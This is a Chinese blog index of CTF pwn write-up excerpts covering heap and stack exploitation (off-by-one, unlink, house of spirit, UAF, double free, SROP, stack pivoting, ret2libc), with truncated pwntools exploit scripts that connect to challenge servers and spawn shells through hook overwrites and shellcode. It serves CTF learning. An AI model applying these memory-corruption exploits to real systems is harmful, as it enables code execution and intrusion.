![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
PWN
是曾经刷题的一些记录吧,可能以后也不会打CTF了
cut_maize
pwner
展开
-
堆利用之chunk extend: HITCON tranining lab13
64位ida分析程序,常见的目录结构;通过静态分析 发现 edit 的时候 存在 off-by-one 漏洞:红框标出的地方,可以多输入一个字节。先看exp:from pwn import*p = process("./heapcreator")e = ELF("./heapcreator")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")context.log_level = "debug"def create(size,con.原创 2022-01-17 14:59:33 · 2506 阅读 · 0 评论 -
2014_hitcon_stkof
题目是wiki上的一道题目,对应的知识点是unlink,也是因为一些事情很久没有学pwn了,下面简单分析一下这道题目。漏洞是在编辑chunk的功能里存在的:可以任意大小的向chunk里输入内容。我们已知存储chunk数组的地址,同时可以修改next_chunk的 pre_size位和size位,可以采用unlink。unlink的核心思想就是,通过相关的检查,将一个chunk从一个chun的链表中取出,然后与其地址相邻的free状态的chunk进行合并。本题的利用思路就是:通过编原创 2022-02-10 19:15:15 · 1333 阅读 · 0 评论 -
BUUCTF 0ctf_2017_babyheap
简单说一下这个题目的思路:1.泄露libc:编辑chunk的时候存在堆溢出,可以通过堆溢出,修改两个不同的指针,指向同一个chunk,随后free掉其中一个,即可dump其中内存,main_arena的地址。2.同样再次利用堆溢出,修改其中一个chunk的fd指针为__malloc_hook,然后修改malloc_hook为one_gadget。这里解答一个疑惑,为什么不写got表?1,首先 RELRO保护全开,是不可写的。2,其次,bss段上很难找到数据通过size检查。完整.原创 2022-02-15 09:20:23 · 208 阅读 · 0 评论 -
HSC-1th pwn wp
</pwn1:白给ret2textfrom pwn import *p = remote( "hsc2019.site",10105)pl1 = "a"*(0x40)+ p64(0) + p64(0x400741)p.sendline(pl1)p.interactive()pwn2:白给任意地址写,栈溢出from pwn import *p = remote( "hsc2019.site",10021) p = process("./pwn2")context.log_原创 2022-02-21 23:30:31 · 198 阅读 · 0 评论 -
2014 hack.lu oreo house of sprit
什么是house of spirit?简单说一下我自己的理解,详细的可以看wiki。其核心在于在一个任意可写或间接可写的位置伪造一个fake_chunk,然后通过释放该fake_chunk,即可将该fake_chunk连入fastbin中,通过malloc达到分配指定地址chunk的目的。看道例题:2014 hack.lu oreo漏洞点:存在堆溢出,chunk未完全free利用思路:1.泄露libc: add一个chunk,并且将该chunk的第13个地址位改为任意函数的g原创 2022-02-14 14:24:18 · 216 阅读 · 1 评论 -
ctfshow 摆烂杯 pwn 2/100
dota:考点:整数溢出ret2libcexp:from pwn import *# p = process("./dota")p = remote("pwn.challenge.ctf.show",28127)e = ELF("./dota")p.timeout = 0.5context.log_level = 'debug'libc = e.libcp.recvuntil("--------\n")p.recvuntil("--------\n")p.sendline("原创 2022-02-22 23:16:32 · 3173 阅读 · 0 评论 -
hitcontraining_magicheap buuctf
这题的漏洞点在编辑heap:可以自定义编辑chunk内容的大小,存在堆溢出漏洞,这道题目打法也有很多。我自己的思路是:利用unlink实现任意地址写的效果,修改puts函数got表为l33t,然后getshell。exp:from pwn import *p = remote("node4.buuoj.cn",25162)#p = process("./magicheap")e = ELF("./magicheap")sh_addr = 0x400c50bss_addr原创 2022-02-12 22:35:27 · 1244 阅读 · 1 评论 -
gyctf_2020_borrowstack
这道题就是常规的栈迁移,但是有坑,bank距离got表的位置比较近,这样在puts函数开辟栈帧的时候,很可能会覆盖到got表,导致无法正常执行。我们可以使用足够多的ret指令来抬高rsp的位置,防止开辟栈帧时,覆盖到got表。exp:from pwn import *p = process("./gy")# p =remote("node4.buuoj.cn",27630)context.log_level = "debug"e = ELF('/home/amazh/Desktop/b原创 2022-02-13 20:15:33 · 368 阅读 · 0 评论 -
wustctf2020_closed
这道题目很奇怪,关掉了标准输出和错误输出,也就是即使我们拿到了shell,因为无法通过 cat flag,得到flag 因为flag 打开了也不会在终端回显,这时候就需要用到一个linux的小tirck,输入exec 1>&0 来对标准输出重定向,然后就可以cat flag了...原创 2022-02-13 21:06:23 · 231 阅读 · 0 评论 -
pwnable start
如果有什么不懂的地方,可以在评论区评论哦,看到就会回答的。拿到附件以后 checksec一下:32位程序 没有开启任何保护,放入ida中看一下,只有两个函数_start和_exit,这个题目的源码就不是C代码,本身就是汇编代码,:我们看汇编代码:大概流程就是 先压栈esp和exit函数地址,然后压栈字符串,我们可以先运行一下这个程序:中间的五次push应该就是压入的这些字符串。随后 write系统调用 打印这些字符串,然后 read系统调用 让用户写入数据write了原创 2022-01-25 16:48:06 · 1709 阅读 · 3 评论 -
roarctf_2019_easy_pwn 1/100
edit chunk的功能里 存在off_by_one漏洞。利用思路:构造堆块重叠然后house of sprit。exp:from pwn import *p = process("./roarctf_2019_easy_pwn")e = ELF("./roarctf_2019_easy_pwn")libc = e.libccontext.log_level = "debug"p.timeout = 0.1def add(size): p.recvuntil("./ch原创 2022-02-22 01:34:13 · 1490 阅读 · 0 评论 -
hitcontraining_heapcreator 3/100
漏洞点:edit_chunk :off by one 一个字节的溢出free_chunk: 逻辑漏洞,可以泄露libc思路:利用逻辑漏洞泄露libc利用off by one 实现chunk extend构造堆块重叠实现任意地址写exp:from pwn import *p = process("./heapcreator")e = ELF("./heapcreator")libc = e.libcp.timeout = 0.1def add(size,content): p.r原创 2022-02-23 19:31:11 · 103 阅读 · 0 评论 -
BUUCTF others babystack
思路:通过覆盖canary的截断字符"\x00",从而连带打印出canary而后就是简单的ret2libc了exp:from pwn import *#p = remote("node4.buuoj.cn",29299)p = process("./babystack")elf = ELF("./babystack")context.log_level ="debug"#libc = ELF("libc-2.23.so")libc = ELF("/lib/x86_64-li原创 2022-02-07 15:12:26 · 1747 阅读 · 0 评论 -
ciscn_2019_es_7 6/100
漏洞点:经典SROPwrite函数泄露栈的地址栈上写入'/bin/sh'字符串,控制rdi为 sh 字符串地址,rax为sigreturn系统调用号exp:from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './es_7'debug = 1if debug: r = remote('node4.buuoj.cn', 28915)else: r原创 2022-03-02 16:10:53 · 275 阅读 · 0 评论 -
2022 3.16
以后要好好学c和cpp了,不能那么摆烂了,今天开始学习。希望一个月以后能学个差不多。原创 2022-03-16 16:11:49 · 90 阅读 · 0 评论 -
starctf_2019_babyshell
绕过检查,即可写入shellcode 。我们只需要,输入一个以\x00开头的汇编指令,随后写入shellcode即可执行。from pwn import *context.arch="amd64"p=remote('node4.buuoj.cn',29743)shellcode='\x00J'+'\x00'+asm(shellcraft.sh())p.sendline(shellcode)p.interactive()...原创 2022-04-06 16:23:07 · 312 阅读 · 0 评论 -
buuctf 2022 3.9
ciscn_2019_es_1保护机制:保护全开漏洞点:这里指针未清空,存在uaf漏洞。利用思路:首先malloc一个size大于0x408的chunk,这样的话就可以绕过tcache了。然后free掉,之后再dump一下,就可以泄露main_arena + 96 的地址了这样就可以获得 libc的基地址 和 free_hook了利用tcache 的double free漏洞 修改fd指针 然后malloc 这样就可以写入free_hook为one_gad原创 2022-03-10 14:29:14 · 4786 阅读 · 0 评论 -
CTF wiki srop 学习记录
参考wiki,hollk师傅博客。说一下我的个人理解,当题目中没有足够的gadget ,可以直接或者间接控制rax,题目中有syscall就可以利用这种攻击手法。srop:在unix系统发生signal的时候会执行sigreturn 系统调用。signal机制:signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。介绍:1.内核向某个程序中发送signal机制原创 2022-03-04 21:39:17 · 342 阅读 · 1 评论 -
buuctf 2022 3.10
gyctf_2020_some_thing_exceting:漏洞点:存在uaf漏洞。思路:通过uaf漏洞进行double_free,修改fd即可malloc flag所在地。exp:from pwn import *from LibcSearcher import * context.terminal = ['tmux', 'splitw', '-h']local_file = './gy1'local_libc = './libc-2.23.so'# re原创 2022-03-10 20:27:07 · 208 阅读 · 0 评论 -
gyctf_2020_some_thing_interesting
exp:from pwn import *p = remote("node4.buuoj.cn",26410)# p = process("./something")e = ELF("./something")libc = ELF("libc-2.23.so")def dbg(): gdb.attach(p) pause()p.recvuntil("> Input your code please:")p.sendline("OreOOrereOOreO%17$p原创 2022-04-13 19:36:45 · 354 阅读 · 0 评论 -
延迟绑定机制深入学习
昨天晚上深入了解了一下延迟绑定机制,具体的ret2dlresolve还在学习中,进行一点小小的总结的,这里参考了《程序员的自我修养一书》以及CTFwiki。如果有不对的地方,欢迎指正。延迟绑定机制:这种机制存在的目的,其实也就是glibc为了节约系统资源,提高性能。在说攻击手法之前,首先要知道延迟绑定机制的详细过程,即源程序在第一次调用一个函数的时候,首先去该函数的plt[0]表项,然后到该函数got表里,然后跳转到该函数plt[1]表项里,进行压栈操作,这里压的是第一个参数rel_offest原创 2022-03-04 13:31:45 · 718 阅读 · 0 评论 -
bjdctf_2020_YDSneedGrirlfriend
漏洞点:uafexp:from pwn import *p=remote('node4.buuoj.cn',25968)# p=process('./friend')elf=ELF('./friend')def add(size,name): p.sendlineafter("Your choice :",'1') p.sendlineafter("Her name size is :",str(size)) p.sendlineafter("Her name原创 2022-04-08 20:10:13 · 448 阅读 · 0 评论 -
pwnable_hacknote 5/100
uaf漏洞利用sh “;”间隔执行命令exp:from pwn import *from LibcSearcher import * local_file = './hacknote'# local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'# remote_libc = './libc-2.23.so' select = 1if select == 0: p = process(local_file) #.原创 2022-03-01 17:24:19 · 165 阅读 · 0 评论 -
buuctf 2022 3.11(之前屯的,没发
oneshot_tjctf_2016:没什么好说的,任意地址泄露,任意地址写。exp:from pwn import *context.log_level = 'debug'p = remote("node4.buuoj.cn",25942)e = ELF("./111")libc = ELF("./libc-2.23 .so")p.recvuntil("Read location?")p.sendline("6294232")p.recvuntil("Value: ")原创 2022-03-13 15:20:22 · 5284 阅读 · 1 评论 -
zctf2016_note2,wustctf2020_easyfast
漏洞点:思路:通过add(0,'')绕过,实现堆溢出,got表可写,随后进行unlink即可。exp:from pwn import * # p = process('./note2')p = remote('node4.buuoj.cn',28447)e = ELF('./note2')libc = ELF("./libc-2.23.so")atoi_got = e.got['atoi']free_got = e.got['free']puts_plt = e.pl.原创 2022-04-04 16:51:25 · 102 阅读 · 0 评论 -
wustctf2020_name_your_dog
这里存在数组越界,没有进行检查,所以我们可以任意地址写,这里写got为shell即可from pwn import *p = remote("node4.buuoj.cn",27085)shell = 0x080485CBp.sendlineafter(">",'-7')p.sendlineafter("Give your name plz: ",p32(shell))p.interactive()...原创 2022-04-06 16:41:34 · 3090 阅读 · 0 评论 -
buuctf hitcon2014_stkof 4/100
这个题目之前做过,所有这次并没有什么大问题。unlinkexp:from pwn import *from LibcSearcher import *p = remote("node4.buuoj.cn",28398)context.log_level = "debug"context.arch = "amd64"e = ELF("./stkof")# chunk_addr = 0x602140def add(size): p.sendline(b"1") p.sendl原创 2022-02-28 22:38:06 · 152 阅读 · 0 评论 -
CTF wiki 栈基础部分学习总结
基本rop:ret2rext:利用程序中已有的代码段。main函数后一般跟都有leave ret;leave-> mov esp ebp;pop ebp;函数返回值会保存在rax中;32位程序传参是通过栈进行传参的,call一个函数的时候,此时esp所指向的位置是第一个参数,esp+4的位置是第二个参数,依次类推后跟下次函数的返回地址。and 指令 :相同为1,不同为0。ret2shellcode:一般这种题目都会有rwx段,我们可以在该段内写入shellcode,原创 2022-03-04 17:05:48 · 895 阅读 · 0 评论 -
gyctf_2020_document
gyctf_2020_document buuoj原创 2022-06-29 22:39:06 · 754 阅读 · 1 评论 -
2022 2.26
昨天:卷王杯写了两题 然后卡住睡觉了今天:继续写了卷王杯的题目,有了很大进展,但最终还是卡住了,最终只能放弃,然后susctf pwn持续爆零 没学过misc 但却出了一道misc题目 emm今天几乎是吗都没干,一直在坐牢。明天:汇编基础有点差,这周打算把汇编和wiki上所有的pwn基础知识全部过一遍。下周开始:努力刷题,打比赛提高自己。...原创 2022-02-26 20:44:30 · 184 阅读 · 0 评论 -
ciscn_2019_final_2
指针未置零。利用思路:原创 2022-04-06 15:45:50 · 402 阅读 · 0 评论 -
ciscn_2019_en_3
漏洞点:可泄露libcdouble_free可修改fd指针,到hook,写入one_gadget即可getshellfrom pwn import *from LibcSearcher import * local_file = './en3'local_libc = './libc-2.27.so'# remote_libc = './libc-2.23.so'context.terminal = ['tmux', 'splitw', '-h']context.l原创 2022-04-06 17:18:20 · 169 阅读 · 0 评论 -
gyctf_2020_signin
漏洞:uaf新知识:calloc函数会直接绕过tcache从fastbin中取,后门函数中又backdoor并且向其中写入数据1,所以我们只需有吧target的地址链入fastbin即可getshellexp:from pwn import *from LibcSearcher import * local_file = './signin'local_libc = './libc-2.27.so'# remote_libc = './libc-2.23.so'conte原创 2022-04-08 21:21:31 · 380 阅读 · 0 评论